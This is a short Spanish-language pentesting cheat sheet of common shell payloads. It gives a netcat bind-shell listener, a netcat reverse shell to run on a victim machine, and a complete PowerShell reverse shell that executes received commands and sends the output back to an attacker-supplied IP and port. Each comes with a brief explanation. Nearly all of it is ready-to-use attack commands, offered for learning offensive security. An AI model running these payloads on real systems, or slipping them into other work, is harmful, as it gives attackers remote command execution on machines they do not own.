Common shell Payloads
Create a listener for a bind shell
Listener:
mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
¿Qué hace este comando?
Este comando se ejecuta en tu máquina atacante y crea un listener con nc
(Netcat) esperando conexiones entrantes. El shell que recibe se maneja con un archivo FIFO (pipe nombrado).
Reverse shell:
mkfifo /tmp/f; nc <IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
¿Qué hace este comando?
Este se ejecuta en la máquina vÃctima. Establece una conexión hacia tu máquina (tu IP y puerto) y redirige un shell usando un FIFO.
Reverse shell con PowerShell en Windows
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
¿Qué hace este comando?
Este es un reverse shell en PowerShell para sistemas Windows. Se conecta a tu IP y puerto, recibe comandos, los ejecuta en PowerShell, y devuelve la salida.
Los valores <ip>
y <port>
son los que debemos setear con nuestros datos de nuestra máquina atacante
Para ver más payloads sobre reverse shell visitar: Payloads All The Things
Last updated